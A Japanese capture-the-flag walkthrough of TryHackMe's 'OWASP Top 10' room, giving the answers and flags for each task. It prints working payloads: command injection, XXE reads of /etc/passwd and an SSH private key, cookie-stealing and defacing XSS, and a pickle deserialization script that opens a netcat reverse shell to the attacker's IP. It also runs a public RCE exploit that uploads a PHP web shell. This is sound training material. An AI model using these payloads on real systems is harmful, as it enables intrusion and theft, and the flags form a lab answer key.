概要
TryHackMe「OWASP Top 10」のWalkthroughです。
Task5
Q1.What strange text file is in the website root directory?
http://ip address/evilshell.php.
へアクセスします。
このサイトではフォームへコマンドを入力することで、コマンドインジェクションを実行できます。
ls
で見ると、drpepper.txt
が怪しいですね。
A.drpepper.txt
Q2.How many non-root/non-service/non-daemon users are there?
ルートアカウント
、サービスアカウント
、デーモンアカウント
ではないユーザーは何人か聞かれています。
/etc/passwd
ファイルを確認してみます。
ユーザー情報が表示されました。
通常ユーザーはUIDが1000番以降
になりますが、見当たりません。
ユーザーのホームディレクトリを探しても見つからないので、0
が答えになります。
A.0
Q3.What user is this app running as?
whoami
コマンドでユーザーを表示します。
A.www-data
Q4.What is the user's shell set as?
/etc/passwd
ファイルからwww-data
ユーザーのシェルを確認できます。
A./usr/sbin/nologin
Q5.What version of Ubuntu is running?
lsb_release
コマンドでUbuntuのバージョンを確認できます。
A.18.04.4
Q6.Print out the MOTD. What favorite beverage is shown?
Hint.00-header
MOTD
とはMessage of the day
、今日のお知らせ
というもので、ユーザーがログインした際などに表示されるメッセージを指します。
Red Hatでは/etc/motd
にありますが、Ubuntuでは/etc/update-motd.d
にあります。
ヒントからファイル名は00-header
であると予想できます。
ファイルを検索するとヒットしました。
00-header
の中身を閲覧すると、最後の行にDR PEPPER MAKES THE WORLD TASTE BETTER!
という文言がありました。
ドクターペッパーが物凄く好きみたいですね。
美味しいですよね。
A.DR PEPPER
Task7
ip address:8888
にアクセスします。
右上のRegister
をクリックし、アカウント登録画面でdarren
アカウントの作成を試みます。
アカウントは既に登録されているとして作成に失敗しました。
Q1.What is the flag that you found in darren's account?
darren
(先頭に空白があります)という名前でアカウントを作成します。
登録後、作成したアカウントへログインすると、既存のdarren
アカウントへログインできました。
A.fe86079416a21a3c99937fea8874b667
Q3.What is the flag that you found in arthur's account?
同じように arthur
(先頭に空白があります)という名前でアカウントを作成後、サインインすると、既存のarthur
アカウントへのログインが成功しました。
A.d9ac0f7db4fda460ac3edeb75d75e16e
Task11
Q1.Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory. What is the name of the mentioned directory?
Hint.Have a look at the source code on the /login page.
ヒント通りに/login
ページのソースコードを見るとコメントアウトで下記文言が記載されていました。
Must remember to do something better with the database than store it in /assets...
A./assets
Q2.Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?
/assets
へアクセスするとディレクトリ構成が閲覧でき、webapp.db
という興味深いファイルを発見しました。
A.webapp.db
Q3.Use the supporting material to access the sensitive data. What is the password hash of the admin user?
webapp.db
をダウンロードしusers
テーブルにユーザー情報を発見しました。
password
はハッシュ化されているようです。
A.6eea9b7ef19179a06954edd0f6c05ceb
Q4.Crack the hash.What is the admin's plaintext password?
下記サイトへアクセスしadmin
のパスワードハッシュを解析します。
解析に成功し、admin
のパスワードを特定出来ました。
A.qwertyuiop
Q5.Login as the admin. What is the flag?
得られた情報でadmin
へログインしフラグをゲットします。
A.THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
Task13
Q1.Full form of XML
A.eXtensible Markup Language
Q2.Is it compulsory to have XML prolog in XML documents?
A.no
Q3.Can we validate XML documents against a schema?
A.yes
Q4.How can we specify XML version and encoding in XML document?
A.XML Prolog
Task14
Q1.How do you define a new ELEMENT?
A.!ELEMENT
Q2.How do you define a ROOT element?
A.!DOCTYPE
Q3.How do you define a new ENTITY?
A.!ENTITY
Task16
Q3.What is the name of the user in /etc/passwd
フォームにXML
を入力することでXXE
を実行できるサイトみたいです。
/etc/passwd
ファイルを読み込むペイロードを送信します。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
/etc/passwd
ファイルが出力されユーザーを特定できました。
A.falcon
Q4.Where is falcon's SSH key located?
/etc/passwd
ファイルからfalcon
のホームディレクトリが/home/falcon
であると判明したのでペイロードを編集して再度送信します。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>
falcon
の秘密鍵を取得できました。
A./home/falcon/.ssh/id_rsa
Q5.What are the first 18 characters for falcon's private key
A.MIIEogIBAAKCAQEA7b
Task18
Q3.Look at other users notes. What is the flag?
Hint.The URL contains ?note=1 - I wonder what happens if you change the parameter value? You might be able to access another users note..
対象マシンにアクセスしUsername: noot
,Password: test1234
でログインします。
ログイン後、自身のノートを閲覧できました。
URLパラメータに注目すると、数値を変更することで他のデータを閲覧できそうです。
値を0
にすることで、フラグを取得できました。
A.flag{fivefourthree}
Task19
Q2.Hack into the webapp, and find the flag!
Hint.Can you find the app's source code? Maybe the documentation gives you default credentials that you can try.
ヒントからドキュメントにデフォルトのクレデンシャル情報があるみたいなので探します。
GitHubで該当アプリのリポジトリを見つけました。
README.md
に認証情報が記載されてます。
Using PensiveNotes
After downloading and compiling PensiveNotes, log in using the default credentials pensive:PensiveNotes
Make sure you change this password immediately!
Username: pensive
,Password: PensiveNotes
でログインするとフラグゲットです。
A.thm{4b9513968fd564a87b28aa1f9d672e17}
Task20
Q2.Navigate to http://ip address/
in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".
このページでは検索機能があり、URLのパラメータに検索する文字列が入っています。
パラメータにスクリプトタグを使用することで反射型XSSを引き起こせます。
?keyword=<script>alert("Hello")</script>
ポップアップが表示され、フラグをゲットしました。
A.ThereIsMoreToXSSThanYouThink
Q3.On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
Hint.In Javascript window.location.hostname will show your hostname, in this case your deployed machine's hostname will be its IP.
同じように今度はホスト名を出力します。
?keyword=<script>alert(window.location.hostname)</script>
ポップアップにフラグが表示されました。
A.ReflectiveXss4TheWin
Q4.Now navigate to http://ip address/
in your browser and click on the "Stored XSS" tab on the navbar; make an account.Then add a comment and see if you can insert some of your own HTML.
Register
フォームからアカウントを登録します。
ログインするとコメントを投稿するページに遷移しました。
投稿フォームから送信した内容がそのままページに表示されています。
そのためHTMLタグを送信することができます。
試しに<br>
を送信するとフラグが表示されました。
A.HTML_T4gs
Q5.On the same page, create an alert popup box appear on the page with your document cookies.
スクリプトタグも使用することができます。
Cookie情報をポップアップで表示させます。
<script>alert(document.cookie)</script>
ポップアップにフラグが表示されました。
A.W3LL_D0N3_LVL2
Q6.Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.
Hint.<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
スクリプトタグを使用してHTML要素を変更することもできます。
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
実行後、HTML要素が変化しているのを確認できました。
<span id="thm-title">I am a hacker</span>
サイトにはフラグが表示されました。
A.websites_can_be_easily_defaced_with_xss
Task21
Q1.Who developed the Tomcat application?
Hint.The full name
A.Apache Software Foundation
Q2.What type of attack that crashes services can be performed with insecure deserialization?
Hint.Also known as a "DoS" attack
A.Denial of Service
Task22
Q1.if a dog was sleeping, would this be: A) A State,B) A Behaviour
A.A Behaviour
Task23
Q1.What is the name of the base-2 formatting that data is sent across a network as?
A.Binary
Task24
Q1.If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?
A.webapp.com/login
Q2.What is the acronym for the web technology that Secure cookies work over?
A.HTTPS
Task25
Q1.1st flag (cookie value)
サイトにアクセスしアカウントを作成します。
Cookieを見るとsessionid
にbase64でエンコードされた値を見つけました。
この値をデコードするとフラグゲットです。
$ echo -n "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAOWIzYzVmYzkzMmM4NGZjYTg1MTFmZTc5ZDM3MzI4YWFxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" | base64 -d
�}q(X sessionIdqX 9b3c5fc932c84fca8511fe79d37328aaqX
encodedflagqX▒THM{good_old_base64_huh}qu.
A.THM{good_old_base64_huh}
Q2.2nd flag (admin dashboard)
CookieのuserType
に注目するとuser
という値が入っています。
この値をadmin
に変更しページをリロードすると管理者画面へアクセスでき、フラグゲットです。
A.THM{heres_the_admin_flag}
Task26
Q1.flag.txt
netcat
で4444ポートをリッスンします。
この時ソースコードのポートとリッスンするポートを一致させる必要があります。
$ nc -lvnp 4444
listening on [any] 4444 ...
プロフィールページにアクセスし、②のExchange your vim
をクリックします。
その後、③のProvide your feedback!
へアクセスします。
TryHackMeの説明欄からpickelme.py
を取得し、IPアドレスを自身のマシンIP
に変更します。
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
編集したpuckleme.py
を実行します。
$ python3 Desktop/pickleme.py
b'gASVdAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFlybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI+JjEgfCBuZXRjYXQgMTAuNi41NS4xNDQgNDQ0NCA+IC90bXAvZpSFlFKULg=='
base64でエンコードされた値をCookieのencodedPayload
にセットします。
Cookieの変更後、フィードバックページをリロードするとnetcatでシェルが取得でき、フラグを取得できます。
$ cat ../flag.txt
4a69a7ff9fd68
A.4a69a7ff9fd68
Task29
Q1.How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)
Hint.You know its a bookstore application, you should check for recent unauthenticated bookstore app rce's.
アプリケーションのフッターにprojectworlds
のリンクがあり、対象マシンで動いているアプリケーションはprojectworlds
という所からダウンロードされたものだと特定できました。
説明欄からadmin
アカウントのクレデンシャル情報を入手しました。
admin
アカウントでのログインに成功しました。
管理者画面を一通り見ましたが、RCEに繋がりそうなものは見つかりませんでした。
手法を変え、searchsploit
で脆弱性情報を検索します。
$ searchsploit Online Book Store
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerabilities | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Injection | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remote Code Execution | php/webapps/47887.py
Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scrip | php/webapps/50450.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
また、exploit-dbでも同様に探すことができます。
いくつかヒットした中に、RCEの情報もあるので今回はこれを利用します。
searchsploit
のPath
は/usr/share/exploitdb/exploits/
配下を指しています。
$ ls -l /usr/share/exploitdb/exploits/php/webapps/47887.py
-rwxr-xr-x 1 root root 2063 Dec 21 19:16 /usr/share/exploitdb/exploits/php/webapps/47887.py
ヘルプを見てみると、URLを指定すれば動きそうです。
$ python 47887.py -h
usage: 47887.py [-h] url
positional arguments:
url The URL of the target.
options:
-h, --help show this help message and exit
実行するとシェルを取得できました。
$ python 47887.py http://10.10.154.229
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php
> Example command usage: http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $
/etc/passwd
の文字数をカウントしてフラグゲットです。
RCE $ wc -c /etc/passwd
1611 /etc/passwd
A.1611
Task30
ファイルをダウンロードするとテキストファイルにはログが書き込まれていました。
$ cat login-logs_1595366583422.txt
200 OK 12.55.22.88 jr22 2019-03-18T09:21:17 /login
200 OK 14.56.23.11 rand99 2019-03-18T10:19:22 /login
200 OK 17.33.10.38 afer11 2019-03-18T11:11:44 /login
200 OK 99.12.44.20 rad4 2019-03-18T11:55:51 /login
200 OK 67.34.22.10 bff1 2019-03-18T13:08:59 /login
200 OK 34.55.11.14 hax0r 2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin 2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous 2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root 2019-03-21T21:08:30 /login
Q1.What IP address is the attacker using?
Hint.Check for common actions in a short sequence of time
管理者ユーザーでアクセスしようとして401
コードを何度も返されているのが怪しいですね。
A.49.99.13.16
Q2.What kind of attack is being carried out?
Hint.Trying combinations of usernames and passwords to gain access to users' accounts.
A.brute force